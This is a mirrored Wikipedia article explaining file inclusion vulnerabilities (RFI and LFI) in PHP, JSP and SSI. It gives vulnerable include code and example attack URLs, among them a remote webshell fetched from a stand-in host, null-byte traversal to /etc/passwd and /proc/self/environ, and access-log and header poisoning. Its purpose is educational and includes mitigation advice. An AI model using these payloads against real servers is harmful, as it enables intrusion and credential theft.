SherbyNet - /page/wikibook/entry.mu

Micron Document

<!DOCTYPE html>

<title>File inclusion vulnerability</title>

</head>

<span id="openzim-page-title" class="mw-page-title-main"><span class="mw-page-title-main">File inclusion vulnerability</span></span>

</h1>

</header>

<p>A <b>file inclusion vulnerability</b> is a type of <a href="World_Wide_Web" title="World Wide Web">web</a> <a href="Vulnerability_(computing)" class="mw-redirect" title="Vulnerability (computing)">vulnerability</a> that is most commonly found to affect <a href="Web_application" title="Web application">web applications</a> that rely on a scripting <a href="Run_time_(program_lifecycle_phase)" class="mw-redirect" title="Run time (program lifecycle phase)">run time</a>. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic <a href="Directory_traversal_attack" title="Directory traversal attack">directory traversal attack</a>, in that directory traversal is a way of gaining unauthorized <a href="File_system" title="File system">file system</a> access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in <a href="Arbitrary_code_execution" title="Arbitrary code execution">remote code execution</a> on the <a href="Web_server" title="Web server">web server</a> that runs the affected web application. An attacker can use remote code execution to create a <a href="Web_shell" title="Web shell">web shell</a> on the web server, which can be used for <a href="Website_defacement" title="Website defacement">website defacement</a>.

</p>

<div class="mw-heading mw-heading2"><h2 id="Types_of_Inclusion">Types of Inclusion</h2></div>

<div class="mw-heading mw-heading3"><h3 id="Remote_file_inclusion">Remote file inclusion</h3></div>

<p><b>Remote file inclusion</b> (<b>RFI</b>) occurs when the web application downloads and executes a remote file. These remote files are usually obtained in the form of an <a href="Hypertext_Transfer_Protocol" class="mw-redirect" title="Hypertext Transfer Protocol">HTTP</a> or <a href="File_Transfer_Protocol" title="File Transfer Protocol">FTP</a> <a href="Uniform_Resource_Identifier" title="Uniform Resource Identifier">URI</a> as a user-supplied parameter to the web application.

</p>

<div class="mw-heading mw-heading3"><h3 id="Local_file_inclusion">Local file inclusion</h3></div>

<p><b>Local file inclusion</b> (<b>LFI</b>) is similar to a remote file inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included for execution. This issue can still lead to remote code execution by including a file that contains attacker-controlled data such as the web server's access logs.

</p>

<div class="mw-heading mw-heading2"><h2 id="Programming_languages">Programming languages</h2></div>

<p>In <a href="PHP" title="PHP">PHP</a> the main cause is due to the use of unvalidated user-input with a filesystem function that includes a file for execution. Most notable are the <code>include</code> and <code>require</code> statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has a directive which, if enabled, allows filesystem functions to use a <a href="URL" title="URL">URL</a> to retrieve data from remote locations.<sup id="cite_ref-remote_1-0" class="reference"><a href="#cite_note-remote-1"><span class="cite-bracket">[</span>1<span class="cite-bracket">]</span></a></sup> The directive is <code>allow_url_fopen</code> in PHP versions <= 4.3.4 and <code>allow_url_include</code> since PHP 5.2.0. In PHP 5.x this directive is disabled by default, in prior versions it was enabled by default.<sup id="cite_ref-2" class="reference"><a href="#cite_note-2"><span class="cite-bracket">[</span>2<span class="cite-bracket">]</span></a></sup> To exploit the vulnerability an attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability all user input needs to be <a href="Data_validation" title="Data validation">validated</a> before being used.<sup id="cite_ref-3" class="reference"><a href="#cite_note-3"><span class="cite-bracket">[</span>3<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-4" class="reference"><a href="#cite_note-4"><span class="cite-bracket">[</span>4<span class="cite-bracket">]</span></a></sup>

</p>

<div class="mw-heading mw-heading4"><h4 id="Example">Example</h4></div>

<p>Consider this <a href="PHP" title="PHP">PHP</a> script which includes a file specified by request:

</p>

<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'language'</span><span class="p">]))</span> <span class="p">{</span>

<span class="k">include</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'language'</span><span class="p">]</span> <span class="o">.</span> <span class="s1">'.php'</span><span class="p">);</span>

</pre></div>

<div class="mw-highlight mw-highlight-lang-html mw-content-ltr" dir="ltr"><pre><span class="p"><</span><span class="nt">form</span> <span class="na">method</span><span class="o">=</span><span class="s">"get"</span><span class="p">></span>

<span class="p"><</span><span class="nt">select</span> <span class="na">name</span><span class="o">=</span><span class="s">"language"</span><span class="p">></span>

<span class="p"><</span><span class="nt">option</span> <span class="na">value</span><span class="o">=</span><span class="s">"english"</span><span class="p">></span>English<span class="p"></</span><span class="nt">option</span><span class="p">></span>

<span class="p"><</span><span class="nt">option</span> <span class="na">value</span><span class="o">=</span><span class="s">"french"</span><span class="p">></span>French<span class="p"></</span><span class="nt">option</span><span class="p">></span>

...

<span class="p"></</span><span class="nt">select</span><span class="p">></span>

<span class="p"><</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">"submit"</span><span class="p">></span>

</pre></div>

<p>The developer intended to read in <code>english.php</code> or <code>french.php</code>, which will alter the application's behavior to display the language of the user's choice. But it is possible to inject another path using the <code>language</code> parameter.

</p>

<ul><li><code>/vulnerable.php?language=<b>http://evil.example.com/webshell.txt?</b></code> - injects a remotely hosted file containing a malicious code (remote file include)</li>

<li><code>/vulnerable.php?language=<b>C:\\ftp\\upload\\exploit</b></code> - Executes code from an already uploaded file called <code>exploit.php</code> (local file inclusion vulnerability)</li>

<li><code>/vulnerable.php?language=<b>C:\\notes.txt%00</b></code> - example using <a href="Null_character" title="Null character">NULL</a> <a href="Meta_character" class="mw-redirect" title="Meta character">meta character</a> to remove the <code>.php</code> suffix, allowing access to files other than <code>.php</code>. This use of null byte injection was patched in PHP 5.3, and can no longer be used for LFI/RFI attacks.<sup id="cite_ref-5" class="reference"><a href="#cite_note-5"><span class="cite-bracket">[</span>5<span class="cite-bracket">]</span></a></sup></li>

<li><code>/vulnerable.php?language=<b>../../../../../etc/passwd%00</b></code> - allows an attacker to read the contents of the <code>/etc/passwd</code> file on a <a href="Unix-like" title="Unix-like">Unix-like</a> system through a <a href="Directory_traversal_attack" title="Directory traversal attack">directory traversal attack</a>.</li>

<li><code>/vulnerable.php?language=<b>../../../../../proc/self/environ%00</b></code> - allows an attacker to read the contents of the <code>/proc/self/environ</code> file on a <a href="Unix-like" title="Unix-like">Unix-like</a> system through a <a href="Directory_traversal_attack" title="Directory traversal attack">directory traversal attack</a>. An attacker can modify a <a href="HTTP" title="HTTP">HTTP</a> header (such as <code>User-Agent</code>) in this attack to be PHP code to exploit <a href="Arbitrary_code_execution" title="Arbitrary code execution">remote code execution</a>.</li></ul>

<p>The best solution in this case is to use a whitelist of accepted language parameters. If a strong method of input validation such as a whitelist cannot be used, then rely upon input filtering or validation of the passed-in path to make sure it does not contain unintended characters and character patterns. However, this may require anticipating all possible problematic character combinations. A safer solution is to use a predefined Switch/Case statement to determine which file to include rather than use a URL or form parameter to dynamically generate the path.

</p>

<div class="mw-heading mw-heading3"><h3 id="JavaServer_Pages_(JSP)">JavaServer Pages (JSP)</h3></div>

<p><a href="JavaServer_Pages" class="mw-redirect" title="JavaServer Pages">JavaServer Pages</a> (JSP) is a scripting language which can include files for execution at runtime.

</p>

<div class="mw-heading mw-heading4"><h4 id="Example_2">Example</h4></div>

<p>The following script is vulnerable to a file inclusion vulnerability:

</p>

<span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">request</span><span class="p">.</span><span class="na">getParameter</span><span class="p">(</span><span class="s">"p"</span><span class="p">);</span>

<span class="w"> </span><span class="nd">@include</span><span class="w"> </span><span class="n">file</span><span class="o">=</span><span class="s">"<%="</span><span class="n">includes</span><span class="o">/</span><span class="s">" + p +"</span><span class="p">.</span><span class="na">jsp</span><span class="s">"</span><span class="k">%></span>"

</pre></div>

<ul><li><code>/vulnerable.jsp?p=../../../../var/log/access.log%00</code> - Unlike PHP, JSP is still affected by Null byte injection, and this param will execute JSP commands found in the web server's access log.</li></ul>

<div class="mw-heading mw-heading3"><h3 id="Server_Side_Includes_(SSI)">Server Side Includes (SSI)</h3></div>

<p>A <a href="Server_Side_Includes" title="Server Side Includes">Server Side Include</a> is very uncommon and are not typically enabled on a default web server. A server-side include can be used to gain remote code execution on a vulnerable web server.<sup id="cite_ref-6" class="reference"><a href="#cite_note-6"><span class="cite-bracket">[</span>6<span class="cite-bracket">]</span></a></sup>

</p>

<div class="mw-heading mw-heading4"><h4 id="Example_3">Example</h4></div>

<p>The following code is vulnerable to a remote-file inclusion vulnerability:

</p>

<span class="p"><</span><span class="nt">title</span><span class="p">></span>Test file<span class="p"></</span><span class="nt">title</span><span class="p">></span>

</pre></div>

<p>The above code is not an <a href="Cross-site_scripting" title="Cross-site scripting">XSS vulnerability</a>, but rather including a new <a href="Computer_file" title="Computer file">file</a> to be executed by the server.

</p>

<ul><li><a href="Attack_(computing)" class="mw-redirect" title="Attack (computing)">Attack (computing)</a></li>

<li><a href="Code_injection" title="Code injection">Code injection</a></li>

<li><a href="Metasploit_Project" class="mw-redirect" title="Metasploit Project">Metasploit Project</a>, an open-source penetration testing tool that includes tests for RFI</li>

<li><a href="SQL_injection" title="SQL injection">SQL injection</a></li>

<li><a href="Threat_(computer)" class="mw-redirect" title="Threat (computer)">Threat (computer)</a></li>

<li><a href="W3af" title="W3af">w3af</a>, an open-source <a href="Web_application_security_scanner" class="mw-redirect" title="Web application security scanner">web application security scanner</a></li>

<li><a href="Default_Credential_vulnerability" class="mw-redirect" title="Default Credential vulnerability">Default Credential vulnerability</a></li></ul>

<div class="mw-heading mw-heading2"><h2 id="References">References</h2></div>

/* start https://en.wikipedia.org/ */

.mw-parser-output .reflist{margin-bottom:0.5em;list-style-type:decimal}@media screen{.mw-parser-output .reflist{font-size:90%}}.mw-parser-output .reflist .references{font-size:100%;margin-bottom:0;list-style-type:inherit}.mw-parser-output .reflist-columns-2{column-width:30em}.mw-parser-output .reflist-columns-3{column-width:25em}.mw-parser-output .reflist-columns{margin-top:0.3em}.mw-parser-output .reflist-columns ol{margin-top:0}.mw-parser-output .reflist-columns li{page-break-inside:avoid;break-inside:avoid-column}.mw-parser-output .reflist-upper-alpha{list-style-type:upper-alpha}.mw-parser-output .reflist-upper-roman{list-style-type:upper-roman}.mw-parser-output .reflist-lower-alpha{list-style-type:lower-alpha}.mw-parser-output .reflist-lower-greek{list-style-type:lower-greek}.mw-parser-output .reflist-lower-roman{list-style-type:lower-roman}

/* end https://en.wikipedia.org/ */

</style><div class="reflist reflist-columns references-column-width" style="column-width: 33em;">

/* start https://en.wikipedia.org/ */

.mw-parser-output cite.citation{font-style:inherit;word-wrap:break-word}.mw-parser-output .citation q{quotes:"\"""\"""'""'"}.mw-parser-output .citation:target{background-color:rgba(0,127,255,0.133)}.mw-parser-output .id-lock-free.id-lock-free a{background:url("./mw/Lock-green.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-limited.id-lock-limited a,.mw-parser-output .id-lock-registration.id-lock-registration a{background:url("./mw/Lock-gray-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .id-lock-subscription.id-lock-subscription a{background:url("./mw/Lock-red-alt-2.svg")right 0.1em center/9px no-repeat}.mw-parser-output .cs1-ws-icon a{background:url("./mw/Wikisource-logo.svg")right 0.1em center/12px no-repeat}body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-free a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-limited a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-registration a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .id-lock-subscription a,body:not(.skin-timeless):not(.skin-minerva) .mw-parser-output .cs1-ws-icon a{background-size:contain;padding:0 1em 0 0}.mw-parser-output .cs1-code{color:inherit;background:inherit;border:none;padding:inherit}.mw-parser-output .cs1-hidden-error{display:none;color:var(--color-error,#d33)}.mw-parser-output .cs1-visible-error{color:var(--color-error,#d33)}.mw-parser-output .cs1-maint{display:none;color:#085;margin-left:0.3em}.mw-parser-output .cs1-kern-left{padding-left:0.2em}.mw-parser-output .cs1-kern-right{padding-right:0.2em}.mw-parser-output .citation .mw-selflink{font-weight:inherit}@media screen{.mw-parser-output .cs1-format{font-size:95%}html.skin-theme-clientpref-night .mw-parser-output .cs1-maint{color:#18911f}}@media screen and (prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .cs1-maint{color:#18911f}}

/* end https://en.wikipedia.org/ */

</style><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://www.php.net/manual/en/features.remote-files.php">"Using remote files"</a>. PHP<span class="reference-accessdate">. Retrieved <span class="nowrap">March 3,</span> 2013</span>.</cite></span>

</li>

<li id="cite_note-2"><span class="mw-cite-backlink"><b><a href="#cite_ref-2">^</a></b></span> <span class="reference-text"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://php.net/manual/en/ini.list.php">"List of php.ini directives"</a>. PHP<span class="reference-accessdate">. Retrieved <span class="nowrap">October 21,</span> 2016</span>.</cite></span>

</li>

<li id="cite_note-3"><span class="mw-cite-backlink"><b><a href="#cite_ref-3">^</a></b></span> <span class="reference-text"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://projects.webappsec.org/Remote-File-Inclusion">"Remote File Inclusion"</a>. The Web Application Security Consortium<span class="reference-accessdate">. Retrieved <span class="nowrap">March 3,</span> 2013</span>.</cite></span>

</li>

<li id="cite_note-4"><span class="mw-cite-backlink"><b><a href="#cite_ref-4">^</a></b></span> <span class="reference-text"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://cwe.mitre.org/data/definitions/98.html">"CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')"</a>. <i>Common Weakness Enumeration (CWE)</i>. Mitre<span class="reference-accessdate">. Retrieved <span class="nowrap">March 3,</span> 2013</span>.</cite></span>

</li>

<li id="cite_note-5"><span class="mw-cite-backlink"><b><a href="#cite_ref-5">^</a></b></span> <span class="reference-text"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://bugs.php.net/bug.php?id=39863">"PHP :: Request #39863 :: file_exists() silently truncates after a null byte"</a>. <i>bugs.php.net</i><span class="reference-accessdate">. Retrieved <span class="nowrap">2016-10-21</span></span>.</cite></span>

</li>

<li id="cite_note-6"><span class="mw-cite-backlink"><b><a href="#cite_ref-6">^</a></b></span> <span class="reference-text"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://httpd.apache.org/docs/current/howto/ssi.html#exec">"Apache httpd Tutorial: Introduction to Server Side Includes - Apache HTTP Server Version 2.4"</a>. <i>httpd.apache.org</i><span class="reference-accessdate">. Retrieved <span class="nowrap">2016-10-21</span></span>.</cite></span>

</li>

</ol></div>

<div class="mw-heading mw-heading2"><h2 id="External_links">External links</h2></div>

<ul><li><a rel="nofollow" class="external text" href="http://projects.webappsec.org/Remote-File-Inclusion">Remote File Inclusion</a> at the Web Application Security Consortium</li>

<li><a rel="nofollow" class="external text" href="https://blog.detectify.com/post/33582910583/the-basics-of-local-file-inclusions">Local File Inclusion</a></li>

<li><a rel="nofollow" class="external text" href="https://secure.wphackedhelp.com/blog/remote-local-file-inclusion-vulnerability/">Local & Remove File Inclusion WordPress</a> at WP Hacked Help</li></ul></div><div><div class="zim-footer">

This article is issued from <a class="external text" title="Last edited on 2025-01-22" href="https://en.wikipedia.org/wiki/?title=File_inclusion_vulnerability&oldid=1271150734">Wikipedia</a>. The text is available under <a class="external text" href="https://creativecommons.org/licenses/by-sa/4.0/deed.en">Creative Commons Attribution-Share Alike 4.0</a> unless otherwise noted. Additional terms may apply for the media files.

</div>

</div></div>

</div>

</main>

</div>

</body></html>